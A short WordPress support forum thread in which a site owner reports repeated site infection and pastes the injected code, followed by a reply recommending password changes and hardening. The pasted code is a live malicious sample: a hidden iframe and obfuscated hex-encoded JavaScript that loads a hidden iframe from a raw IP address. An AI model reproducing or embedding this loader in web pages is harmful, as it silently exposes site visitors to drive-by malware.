[resolved] php inject problem in index.php (12 posts)

Hey,
I have installed WordPress 2.3.3 on my domain and I configured everything. After a couple of hours, a few people that were reading the first entry told me of a problem with the website, anti-virus software found malicious code / trojans.
Basically, it was corrupted. At first, I thought it was something wrong with one of the plugins i used, but I deleted WP and reinstalled from scratch and the problem was back again in a few hours.
This line of code appears in php.ini:
<iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v47da8689bd2a4(v47da8689bda9c){ function v47da8689be291 () {return 16;} return(parseInt(v47da8689bda9c,v47da8689be291()));}function v47da8689bf299(v47da8689bfc4e){ var v47da8689c11f1=2; var v47da8689c024a='';for(v47da8689c0a6f=0; v47da8689c0a6f<v47da8689bfc4e.length; v47da8689c0a6f+=v47da8689c11f1){ v47da8689c024a+=(String.fromCharCode(v47da8689bd2a4(v47da8689bfc4e.substr(v47da8689c0a6f, v47da8689c11f1))));}return v47da8689c024a;} document.write(v47da8689bf299('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D62207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3133353432292B276562373538646335376462305C272077696474683D313833206865696768743D3734207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>

I configured the .htaccess file and it didn't seem to help. :(
Any input would be appreciated, thanks. :)

Did you change all your passwords? You might want to change your WordPress admin username also. This may or may not have come in through WordPress, but it doesn't hurt to know about hardening WordPress.